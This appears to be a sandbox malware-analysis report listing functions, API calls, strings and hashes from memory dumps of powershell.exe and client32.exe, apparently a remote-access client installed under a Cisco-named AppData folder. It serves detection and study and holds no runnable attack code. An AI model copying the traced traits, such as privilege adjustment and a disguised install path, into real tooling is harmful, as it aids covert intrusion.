Source File: 00000005.00000002.2044316660.00000000089C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 089C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_89c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 18701d605076d788a34b6f62c00482523577d1d3646e0a5564de7ca95319e4b4
Instruction ID: dfeefe01138c4f2b9760130f2ed4ecd92e00a39b9c97bfc8bcf2a6b650c5f40a
Opcode Fuzzy Hash: 18701d605076d788a34b6f62c00482523577d1d3646e0a5564de7ca95319e4b4
Instruction Fuzzy Hash: 10E06131B491845FD3125239E84C89BFF78DD8611431501FFE051E7052E560580CC781

Function 03456CF0 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1990798125.0000000003450000.00000040.00000800.00020000.00000000.sdmp, Offset: 03450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3450000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f77c459b02a7255c83bdac3db767fa7dc3dd0975b0b98bebcf5d00de36975be1
Instruction ID: 2158e8d9ed1b08742b1b75ca0b6f1d4d54cd246bc69cec42aaeb4902bbaf267b
Opcode Fuzzy Hash: f77c459b02a7255c83bdac3db767fa7dc3dd0975b0b98bebcf5d00de36975be1
Instruction Fuzzy Hash: 11F0A974E0020A8FC780DF68C485AAEBBF1FF49314F5051A9E909EB321D730A945CF91

Function 089C8468 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2044316660.00000000089C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 089C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_89c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 99052fbf3a84c8bf148c1320faa7d074575585ef6a8dd81eaf8c7a60785ff58c
Instruction ID: 53b12d8b7c5a87de76ce63e5cfabca40fbf2946f3c06c1e0de9787262aead021
Opcode Fuzzy Hash: 99052fbf3a84c8bf148c1320faa7d074575585ef6a8dd81eaf8c7a60785ff58c
Instruction Fuzzy Hash: 3EE01235344425CFCE046FA9B8444EDF799EB48726704006FE60EC3F42CF6659068685

Function 089C3779 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2044316660.00000000089C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 089C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_89c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cfce47d7a090deed8a41162097ccba12014b8a492c465a38a1fb760b563e51a5
Instruction ID: 35d76e580372015fb0fcd66be9818a1850bddd4d9a4b83915a83ce7265fc5649
Opcode Fuzzy Hash: cfce47d7a090deed8a41162097ccba12014b8a492c465a38a1fb760b563e51a5
Instruction Fuzzy Hash: 24E02B726042916F8B111B6C98008FF7F7DC6C623A308814FF064C7B42C722880193A2

Function 089C9F80 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2044316660.00000000089C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 089C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_89c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c15cb0b0c72522be12e2113809c9a1e79f2df78287a6bf88efb1cd7535f92de
Instruction ID: c32c4d5912b5193ede56b4d428998c1dc5b46e46d4219f1a4a76ee96d004e065
Opcode Fuzzy Hash: 6c15cb0b0c72522be12e2113809c9a1e79f2df78287a6bf88efb1cd7535f92de
Instruction Fuzzy Hash: 30F030B4D0471A8F8B54EFB998450BEFBF0AB08210B10866E946AE3290E73455418FD5

Function 089C8581 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2044316660.00000000089C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 089C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_89c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 183b7edf43398869425ee19c260cc2250cc2d28971b417dabe4218fd8d99591b
Instruction ID: ba1587760d5377991f29fe0aabdfa53c9649e2a6529edca71e3e496c81ead5ab
Opcode Fuzzy Hash: 183b7edf43398869425ee19c260cc2250cc2d28971b417dabe4218fd8d99591b
Instruction Fuzzy Hash: FFE068728192C96ECB129E789C005E97FBC8A02001B0C40FFDD80C2442E03446599762

Function 07AF3A80 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2041152780.0000000007AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7af0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 32845748c573e662c11494ab3031e50fd63e9fa88947f2aa2049f77ca41bc1b4
Instruction ID: 33ff35874fac1a6273b3b9ca4e1e044acb799965a42abd0f76489df0dbc353c2
Opcode Fuzzy Hash: 32845748c573e662c11494ab3031e50fd63e9fa88947f2aa2049f77ca41bc1b4
Instruction Fuzzy Hash: 8CE092706007589FC930BBAD9C0554BBA65EB827747104B18E2624FBD0CB76A80187D2

Function 089C9F90 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2044316660.00000000089C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 089C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_89c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46e39215eead2415d91d523a38396b388618fd8daee575546d9d4bdbab88a42d
Instruction ID: af598af35b0264b50a691f22e578c48d3621da52dbe1a62815047c5687ba692c
Opcode Fuzzy Hash: 46e39215eead2415d91d523a38396b388618fd8daee575546d9d4bdbab88a42d
Instruction Fuzzy Hash: D5E0B6B4D0420E9F8F48EFB994421BEFBF5AB08200F00896E9819E3300E6395A018FA5

Function 089C836B Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2044316660.00000000089C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 089C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_89c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6781edd0ad74de9c8208218058b5d75dc800b462a2d41619786235f207d412f
Instruction ID: f28304327585f02c79080ae959ee1c5ef09dfa63083fcb14d97f0d63981bed64
Opcode Fuzzy Hash: f6781edd0ad74de9c8208218058b5d75dc800b462a2d41619786235f207d412f
Instruction Fuzzy Hash: E8D09E7054510ACFDB15EFC4C6597AE7B70AB04306F24182DD00175180D7B51A45CB92

Non-executed Functions

Function 07AF1BF0 Relevance: 6.5, Strings: 5, Instructions: 279COMMON

Download Yara Rule

Strings

tP^q, xrefs: 07AF1DF1
$^q, xrefs: 07AF1DAC
$^q, xrefs: 07AF1DA0
$^q, xrefs: 07AF1D7A
tP^q, xrefs: 07AF1DE5

Memory Dump Source

Source File: 00000005.00000002.2041152780.0000000007AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7af0000_powershell.jbxd

Similarity

API ID:
String ID: tP^q$tP^q$$^q$$^q$$^q
API String ID: 0-578306960
Opcode ID: 313df328e114760a6119a63b304576d81868195aaab6b648c8cd357de1dfd520
Instruction ID: 36eafd0e6dcff3bda44af3e57aa21d00f4f30444467b0decdeedda817acb583e
Opcode Fuzzy Hash: 313df328e114760a6119a63b304576d81868195aaab6b648c8cd357de1dfd520
Instruction Fuzzy Hash: 4B9168B2B0434DCFC7248FA9D80466ABBF1AFC6221F18846BE665CB351DA318C45C7A1

Function 07AF8AD0 Relevance: 6.5, Strings: 5, Instructions: 212COMMON

Download Yara Rule

Strings

$^q, xrefs: 07AF8C57
$^q, xrefs: 07AF8C8E
$^q, xrefs: 07AF8C82
4'^q, xrefs: 07AF8B7A
4'^q, xrefs: 07AF8B86

Memory Dump Source

Source File: 00000005.00000002.2041152780.0000000007AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7af0000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$$^q$$^q$$^q
API String ID: 0-3272787073
Opcode ID: cec07b12373bbcae406164c0b2efc9d7a6d9559720c659d6ddeb8f57e856d210
Instruction ID: 717beea60f8e6e721e93ce71fae8c15cfd0f37464adab6038e3c80e31a2f284e
Opcode Fuzzy Hash: cec07b12373bbcae406164c0b2efc9d7a6d9559720c659d6ddeb8f57e856d210
Instruction Fuzzy Hash: AD616AF170534A8FCB254BA9981036BBFB1AFC2310F1884ABE265CF255DE3D8845C7A1

Function 07AF41FC Relevance: 6.3, Strings: 5, Instructions: 85COMMON

Download Yara Rule

Strings

$^q, xrefs: 07AF4260
$^q, xrefs: 07AF427F
$^q, xrefs: 07AF4228
$^q, xrefs: 07AF4244
tP^q, xrefs: 07AF42C4

Memory Dump Source

Source File: 00000005.00000002.2041152780.0000000007AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7af0000_powershell.jbxd

Similarity

API ID:
String ID: tP^q$$^q$$^q$$^q$$^q
API String ID: 0-324510305
Opcode ID: a8e274be094e08b9bafce19bd152a95c7271900ccd0e6d22eb9bf4338af4c827
Instruction ID: a307dc05a8b41e8e2beea04c665a0cb140da3f80f1ee88e50a07ced04ecf9705
Opcode Fuzzy Hash: a8e274be094e08b9bafce19bd152a95c7271900ccd0e6d22eb9bf4338af4c827
Instruction Fuzzy Hash: C52126F6A04396CFDB288FD4CD4096ABBF0AFCA610B15416AFA209F252C731D908C761

Function 07AF4210 Relevance: 6.3, Strings: 5, Instructions: 77COMMON

Download Yara Rule

Strings

$^q, xrefs: 07AF4260
$^q, xrefs: 07AF427F
$^q, xrefs: 07AF4228
$^q, xrefs: 07AF4244
tP^q, xrefs: 07AF42C4

Memory Dump Source

Source File: 00000005.00000002.2041152780.0000000007AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7af0000_powershell.jbxd

Similarity

API ID:
String ID: tP^q$$^q$$^q$$^q$$^q
API String ID: 0-324510305
Opcode ID: 8d7f059fb56b3710d7c261906c3ca0db294d64e9b36695787576f5f224f5c51b
Instruction ID: 7139ad3cac98ef40327a1b73cb4a769f517f579a9e6d38a4fec74809c29cf3c3
Opcode Fuzzy Hash: 8d7f059fb56b3710d7c261906c3ca0db294d64e9b36695787576f5f224f5c51b
Instruction Fuzzy Hash: E921E2B2A0029ACFDB248F95C84496BB7F4AFC9651B15416AFA209F251CB31D904C761

Function 07AF51B0 Relevance: 5.3, Strings: 4, Instructions: 254COMMON

Download Yara Rule

Strings

tP^q, xrefs: 07AF529F
$^q, xrefs: 07AF52F7
tP^q, xrefs: 07AF5293
$^q, xrefs: 07AF525C

Memory Dump Source

Source File: 00000005.00000002.2041152780.0000000007AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7af0000_powershell.jbxd

Similarity

API ID:
String ID: tP^q$tP^q$$^q$$^q
API String ID: 0-263804196
Opcode ID: 117a2b842baf722acf864a1df8d777a32a11b50cbad735f42d2414f5973adf3d
Instruction ID: 0a7789d59af3d892f72baece749e2a7b27469ee789878d7575fac887e6345af1
Opcode Fuzzy Hash: 117a2b842baf722acf864a1df8d777a32a11b50cbad735f42d2414f5973adf3d
Instruction Fuzzy Hash: E5815671F002049FC7249BA99850B6ABBE2AFC5321F24C16AFA15DF381DA72DC55C7A1

Function 07AFA947 Relevance: 5.1, Strings: 4, Instructions: 118COMMON

Download Yara Rule

Strings

$^q, xrefs: 07AFA996
$^q, xrefs: 07AFA9D0
$^q, xrefs: 07AFA9C4
$^q, xrefs: 07AFA97A

Memory Dump Source

Source File: 00000005.00000002.2041152780.0000000007AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7af0000_powershell.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q
API String ID: 0-2125118731
Opcode ID: 9103f7b3d05ed922d69dcabd5c2ff8129ca248e24dc5a3adb05a02c273fe14b8
Instruction ID: 25b4af63bfcc83ce7d9d07eeef5f181636fe01ad011df31d5aa3820b73d04abf
Opcode Fuzzy Hash: 9103f7b3d05ed922d69dcabd5c2ff8129ca248e24dc5a3adb05a02c273fe14b8
Instruction Fuzzy Hash: 1E31A8B23083461FE72456B88C40BE66FA69FD2310F29C42BF659CF282DD39C8498320

Function 07AFA968 Relevance: 5.1, Strings: 4, Instructions: 94COMMON

Download Yara Rule

Strings

$^q, xrefs: 07AFA996
$^q, xrefs: 07AFA9D0
$^q, xrefs: 07AFA9C4
$^q, xrefs: 07AFA97A

Memory Dump Source

Source File: 00000005.00000002.2041152780.0000000007AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7af0000_powershell.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q
API String ID: 0-2125118731
Opcode ID: 81f24b11a339e2d9b1be25e01dbf5826c5368324c8043dd2d4c6298e69b3a60e
Instruction ID: d08f0db914bdb1abfca700bdd50514f30409319c740b6303d35928daa6f38fa8
Opcode Fuzzy Hash: 81f24b11a339e2d9b1be25e01dbf5826c5368324c8043dd2d4c6298e69b3a60e
Instruction Fuzzy Hash: 622149B231030A5BD72456BE5C41BA7A7EA5BC2710F24C43AF71ECB385DD36C84583A1

Function 07AF030B Relevance: 5.0, Strings: 4, Instructions: 50COMMON

Download Yara Rule

Strings

$^q, xrefs: 07AF035E
4'^q, xrefs: 07AF0373
$^q, xrefs: 07AF0352
4'^q, xrefs: 07AF037F

Memory Dump Source

Source File: 00000005.00000002.2041152780.0000000007AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7af0000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$$^q$$^q
API String ID: 0-2049395529
Opcode ID: 44e1b33c80c82ee0735f0ee1a8b5937d02f560ac73aa375a1a9f3f25c99f490e
Instruction ID: 27d8bc901d708a4795862c04ba37c98fbf2dff5ed0a02ec31d415d0024313351
Opcode Fuzzy Hash: 44e1b33c80c82ee0735f0ee1a8b5937d02f560ac73aa375a1a9f3f25c99f490e
Instruction Fuzzy Hash: 4F01A76174D3D64FC72F13681820566AFB25FC355072A42DBD591CF29BCD154D4983A3

Analysis Process: client32.exePID: 3052, Parent PID: 6724COMMON

Execution Graph

Execution Coverage:	5.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	7.5%
Total number of Nodes:	2000
Total number of Limit Nodes:	103

Executed Functions

Function 1109D4A0 Relevance: 100.3, APIs: 42, Strings: 15, Instructions: 501
filethreadmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 1109C750: GetCurrentProcess.KERNEL32(000F01FF,?,1102FAC3,00000000,00000000,00080000,DC70C1FE,00080000,00000000,00000000), ref: 1109C77D
Part of subcall function 1109C750: OpenProcessToken.ADVAPI32(00000000), ref: 1109C784
Part of subcall function 1109C750: LookupPrivilegeValueA.ADVAPI32(00000000,00000000,?), ref: 1109C795
Part of subcall function 1109C750: AdjustTokenPrivileges.KERNELBASE(00000000), ref: 1109C7B9

LocalAlloc.KERNEL32(00000040,00000014,SeSecurityPrivilege,?,00080000,DC70C1FE,00080000,00000000,00000000), ref: 1109D535
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 1109D54E
SetSecurityDescriptorDacl.ADVAPI32(00000000,00000001,00000000,00000000), ref: 1109D559
GetVersionExA.KERNEL32(?), ref: 1109D570
GetSecurityDescriptorSacl.ADVAPI32(?,?,?,?,S:(ML;;NW;;;LW),00000001,?,00000000), ref: 1109D5DE
SetSecurityDescriptorSacl.ADVAPI32(00000000,00000001,?,00000000), ref: 1109D5F3
FreeLibrary.KERNEL32(00000001,S:(ML;;NW;;;LW),00000001,?,00000000), ref: 1109D604
CreateFileMappingA.KERNEL32(000000FF,1102FAC3,00000004,00000000,?,?), ref: 1109D640
GetLastError.KERNEL32 ref: 1109D64D
LocalFree.KERNEL32(?), ref: 1109D676
LocalFree.KERNEL32(?), ref: 1109D683
GetLastError.KERNEL32 ref: 1109D6A0
MapViewOfFile.KERNEL32(?,000F001F,00000000,00000000,00000000), ref: 1109D6BE
LocalFree.KERNEL32(?), ref: 1109D6E9
LocalFree.KERNEL32(?), ref: 1109D6F6

Part of subcall function 1109C6C0: LoadLibraryA.KERNEL32(Advapi32.dll,00000000,1109D58E), ref: 1109C6C8

Part of subcall function 1109C700: GetProcAddress.KERNEL32(00000000,ConvertStringSecurityDescriptorToSecurityDescriptorA), ref: 1109C714

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 1109D722
LocalFree.KERNEL32(?), ref: 1109D7EB
LocalFree.KERNEL32(?), ref: 1109D7F8
_memset.LIBCMT ref: 1109D810
GetTickCount.KERNEL32 ref: 1109D818
GetCurrentProcessId.KERNEL32 ref: 1109D8C4
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 1109D8DF
CreateEventA.KERNEL32(?,00000000,00000000,?,?,?,?,?,?), ref: 1109D92B
GetLastError.KERNEL32 ref: 1109D934
GetLastError.KERNEL32(00000000), ref: 1109D93B
CreateEventA.KERNEL32(?,00000000,00000000,?), ref: 1109D970
GetLastError.KERNEL32 ref: 1109D979
GetLastError.KERNEL32(00000000), ref: 1109D980
CreateEventA.KERNEL32(?,00000001,00000000,?), ref: 1109D9B6
GetLastError.KERNEL32 ref: 1109D9BF
GetLastError.KERNEL32(00000000), ref: 1109D9C6
CreateEventA.KERNEL32(?,00000000,00000000,?), ref: 1109D9FB
GetLastError.KERNEL32 ref: 1109DA0A
GetLastError.KERNEL32(00000000), ref: 1109DA0D
LocalFree.KERNEL32(?), ref: 1109DA35
LocalFree.KERNEL32(?), ref: 1109DA42
GetCurrentThreadId.KERNEL32 ref: 1109DA73
CreateThread.KERNEL32(00000000,00002000,Function_0009D030,00000000,00000000,00000030), ref: 1109DA8D
ResetEvent.KERNEL32(?), ref: 1109DABC
ResetEvent.KERNEL32(?), ref: 1109DAC2
ResetEvent.KERNEL32(?), ref: 1109DAC8
SetEvent.KERNEL32(?), ref: 1109DACE

Strings

warning map exists, xrefs: 1109D7A0
Info - reusing existing filemap, xrefs: 1109D789
cant create events, xrefs: 1109DB04
S:(ML;;NW;;;LW), xrefs: 1109D598
SeSecurityPrivilege, xrefs: 1109D50A
Error cant map view, xrefs: 1109D6CB
cant map, xrefs: 1109D6F8
map exists, xrefs: 1109D7FA
Cant create event %s, e=%d (x%x), xrefs: 1109D949, 1109D98E, 1109D9D4, 1109DA17
Error filemap exists, xrefs: 1109D7CD
Error cant create events, xrefs: 1109DAF7
cant create thread, xrefs: 1109DA9A
IPC(%s) created, xrefs: 1109DAD8
cant create filemap, xrefs: 1109D685
Error creating filemap (%d), xrefs: 1109D654

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorLast$FreeLocal$Event$Create$DescriptorFileSecurity$CurrentProcessReset$LibraryModuleNameSaclThreadToken$AddressAdjustAllocCountDaclInitializeLoadLookupMappingOpenPrivilegePrivilegesProcTickValueVersionView_memset
String ID: Cant create event %s, e=%d (x%x)$Error cant create events$Error cant map view$Error creating filemap (%d)$Error filemap exists$IPC(%s) created$Info - reusing existing filemap$S:(ML;;NW;;;LW)$SeSecurityPrivilege$cant create events$cant create filemap$cant create thread$cant map$map exists$warning map exists
API String ID: 3291243470-2792520954
Opcode ID: 7d2eca5f92aeb90d6110f97020967db0a84e126fbda8524f3f6ea0900cc0b1d0
Instruction ID: d0fdbac131d557a40c9b368ac235ec40647fb92da06757c3bb5e6f0a5f2f1ed9
Opcode Fuzzy Hash: 7d2eca5f92aeb90d6110f97020967db0a84e126fbda8524f3f6ea0900cc0b1d0
Instruction Fuzzy Hash: 2F1270B5E002599FDB20DF65CCD4AAEB7FAFB88304F0045A9E60D97240E771A984CF61

Function 685A7030 Relevance: 89.7, APIs: 21, Strings: 30, Instructions: 406
threadlibrarysynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 68592A90: GetModuleFileNameA.KERNEL32(00000000,?,00000100), ref: 68592ACB
Part of subcall function 68592A90: _strrchr.LIBCMT ref: 68592ADA
Part of subcall function 68592A90: _strrchr.LIBCMT ref: 68592AEA
Part of subcall function 68592A90: wsprintfA.USER32 ref: 68592B05

Part of subcall function 685ADBD0: _malloc.LIBCMT ref: 685ADBE9
Part of subcall function 685ADBD0: wsprintfA.USER32 ref: 685ADC04
Part of subcall function 685ADBD0: _memset.LIBCMT ref: 685ADC27

LoadLibraryA.KERNEL32(WinInet.dll), ref: 685A7057
InitializeCriticalSection.KERNEL32(685DB898), ref: 685A70DF
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 685A70EF
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 685A7115
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 685A713B
WSAStartup.WSOCK32(00000101,685DB91A), ref: 685A7167
_malloc.LIBCMT ref: 685A71A3

Part of subcall function 685B1B69: __FF_MSGBANNER.LIBCMT ref: 685B1B82
Part of subcall function 685B1B69: __NMSG_WRITE.LIBCMT ref: 685B1B89
Part of subcall function 685B1B69: HeapAlloc.KERNEL32(00000000,00000001,00000001,00000000,00000000,?,685BD3C1,685B6E81,00000001,685B6E81,?,685BF447,00000018,685D7738,0000000C,685BF4D7), ref: 685B1BAE

_memset.LIBCMT ref: 685A71D3
_calloc.LIBCMT ref: 685A7214
_malloc.LIBCMT ref: 685A728B
_memset.LIBCMT ref: 685A72C1
_malloc.LIBCMT ref: 685A72CD
_memset.LIBCMT ref: 685A7303
GetTickCount.KERNEL32 ref: 685A7361
CreateThread.KERNEL32(00000000,00004000,685A6BA0,00000000,00000000,685DBACC), ref: 685A737E
SetThreadPriority.KERNEL32(00000000,00000001), ref: 685A73AC
GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\AppData\Roaming\Cisco\Support\,00000104), ref: 685A7430
GetPrivateProfileIntA.KERNEL32(htctl.packet_tracing,mode,00000000,C:\Users\user\AppData\Roaming\Cisco\Support\pci.ini), ref: 685A74B0
GetModuleHandleA.KERNEL32(nsmtrace), ref: 685A74C0
CreateMutexA.KERNEL32(00000000,00000000,00000000), ref: 685A7566
timeBeginPeriod.WINMM(00000001), ref: 685A7573

Strings

mode, xrefs: 685A74A1
WinInet.dll, xrefs: 685A7052
_debug, xrefs: 685A7502, 685A7519, 685A753C, 685A754C
*CMPI, xrefs: 685A731F
sv.hRecvThread, xrefs: 685A7397
830021, xrefs: 685A7242
(iflags & CTL_REMOTE) == 0, xrefs: 685A73C2
TraceRecv, xrefs: 685A74CF, 685A74FD
NSM832428, xrefs: 685A7257
sv.ResumeEvent, xrefs: 685A7150
C:\Users\user\AppData\Roaming\Cisco\Support\pci.ini, xrefs: 685A7481, 685A749B
NetworkSpeed, xrefs: 685A73D7
pci.ini, xrefs: 685A748F
sv.s, xrefs: 685A71BE
sv.subset.omit, xrefs: 685A72E8
HTCTL32, xrefs: 685A7036
TraceFile, xrefs: 685A7537
Trace, xrefs: 685A7547
Support\, xrefs: 685A7451
sv.hResponseEvent, xrefs: 685A712A
sv.subset.subset, xrefs: 685A72A6
*DisconnectTimeout, xrefs: 685A733A
General, xrefs: 685A733F
htctl.packet_tracing, xrefs: 685A74A8
sv.gateways, xrefs: 685A722F
TraceSend, xrefs: 685A74DB, 685A7514
e:\nsmsrc\nsm\1210\1210f\ctl32\htctl.c, xrefs: 685A70FF, 685A7125, 685A714B, 685A71B9, 685A722A, 685A72A1, 685A72E3, 685A7392, 685A73BD
nsmtrace, xrefs: 685A74B6
C:\Users\user\AppData\Roaming\Cisco\Support\, xrefs: 685A742A, 685A7438, 685A744C
sv.hRecvThreadReadyEvent, xrefs: 685A7104

Memory Dump Source

Source File: 00000007.00000002.4143511671.0000000068591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 68590000, based on PE: true

Associated: 00000007.00000002.4143492483.0000000068590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143550370.00000000685D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143575543.00000000685D9000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143596259.00000000685DA000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143596259.00000000685DE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143640100.00000000685E0000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_68590000_client32.jbxd

Yara matches

Similarity

API ID: Create$_malloc_memset$EventModule$FileNameThread_strrchrwsprintf$AllocBeginCountCriticalHandleHeapInitializeLibraryLoadMutexPeriodPriorityPrivateProfileSectionStartupTick_calloctime
String ID: (iflags & CTL_REMOTE) == 0$*CMPI$*DisconnectTimeout$830021$C:\Users\user\AppData\Roaming\Cisco\Support\$C:\Users\user\AppData\Roaming\Cisco\Support\pci.ini$General$HTCTL32$NSM832428$NetworkSpeed$Support\$Trace$TraceFile$TraceRecv$TraceSend$WinInet.dll$_debug$e:\nsmsrc\nsm\1210\1210f\ctl32\htctl.c$htctl.packet_tracing$mode$nsmtrace$pci.ini$sv.ResumeEvent$sv.gateways$sv.hRecvThread$sv.hRecvThreadReadyEvent$sv.hResponseEvent$sv.s$sv.subset.omit$sv.subset.subset
API String ID: 3301999572-3068771285
Opcode ID: 9eba188fa3816abb61ab1f0ae428b932b4b3e5150d0ed85dad842cf95dbee5bc
Instruction ID: bf6727e0cf09bfdcc17968a086c2d736e5d68eb3cb2f468a3d27a176817d2a7a
Opcode Fuzzy Hash: 9eba188fa3816abb61ab1f0ae428b932b4b3e5150d0ed85dad842cf95dbee5bc
Instruction Fuzzy Hash: E3D1F6B5940305AFDB10AF688CC496E7BF9EB49348BC6442AFD59D7341E770AC408B9D

Function 11029230 Relevance: 84.5, APIs: 36, Strings: 12, Instructions: 534
libraryloadernetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(WinInet.dll,DC70C1FE,74DF23A0,?,00000000), ref: 11029265
GetProcAddress.KERNEL32(?,InternetCloseHandle), ref: 110292FF
SetLastError.KERNEL32(00000078), ref: 11029313
GetProcAddress.KERNEL32(?,InternetQueryOptionA), ref: 11029351
GetLastError.KERNEL32 ref: 11029372
_free.LIBCMT ref: 1102937E
GetProcAddress.KERNEL32(?,InternetQueryOptionA), ref: 110293A1
GetProcAddress.KERNEL32(?,InternetOpenA), ref: 110293DB
InternetOpenA.WININET(11190240,?,?,000000FF,00000000), ref: 110293FA
SetLastError.KERNEL32(00000078), ref: 11029404
SetLastError.KERNEL32(00000078), ref: 11029411
SetLastError.KERNEL32(00000078), ref: 1102941B
_free.LIBCMT ref: 11029425

Part of subcall function 1115F3B5: HeapFree.KERNEL32(00000000,00000000,?,11167F76,00000000,?,110B7069), ref: 1115F3CB
